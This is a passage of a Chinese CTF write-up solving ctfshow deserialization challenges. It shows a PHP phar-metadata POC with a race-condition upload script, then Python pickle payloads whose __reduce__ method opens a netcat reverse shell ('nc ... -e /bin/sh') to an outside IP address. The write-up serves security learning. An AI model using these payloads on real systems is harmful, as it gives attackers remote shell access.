,想要通过析构方法进行命令执行,则一定要使得$admin=true
。而代码中并没有反序列化函数,所以可利用点在于unlink()
函数(file_get_contents()
函数也可以)。
首先上传一个p.phar文件,然后在该文件没有被删除之前再发一个包,传入的参数是fn=phar://p.phar/test
,当对其调用unlink()
时,会对之前传入的并写进p.phar中的内容进行反序列化,从而进行析构函数的调用,类似于:
注意:前面一定要有
phar://
以及后面跟上/
加一串随机字符串。
这样我们只要保证生成的phar文件在析构的时候可以进行命令拼接即可。生成phar文件的POC如下:
startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
竞争脚本如下:
import base64
import requests
import threading
flag = False
url = 'http://8912b458-d676-484e-839c-e35d2e3705d9.challenge.ctf.show:8080/'
data = open('evil.phar', 'rb').read()
def upload():
requests.post(url+"?fn=p.phar", data=data)
def read():
global flag
r = requests.post(url+"?fn=phar://p.phar/test", data="")
if "ctfshow{" in r.text and flag is False:
print(r.text)
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
Web277
python反序列化的问题,具体可以参考:
Python 反序列化漏洞学习笔记
一篇文章带你理解漏洞之 Python 反序列化漏洞
查看源代码获得提示:
where is flag?
会把传入的data
参数进行base64解码后反序列化,所以使用__reduce__()
魔术方法进行命令执行获得shell,POC如下:
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc 121.4.112.210 7777 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
或者:
import pickle
import base64
class A(object):
def __reduce__(self):
return(__import__("os").system, ('nc 121.4.112.210 7777 -e /bin/sh',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
Web278
过滤了os.system
,使用上一题第一个,或者(os.popen()
方法用于从一个命令打开一个管道):
import pickle
import base64
class A(object):
def __reduce__(self):
return(__import__("os").popen, ('nc 121.4.112.210 7777 -e /bin/sh',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))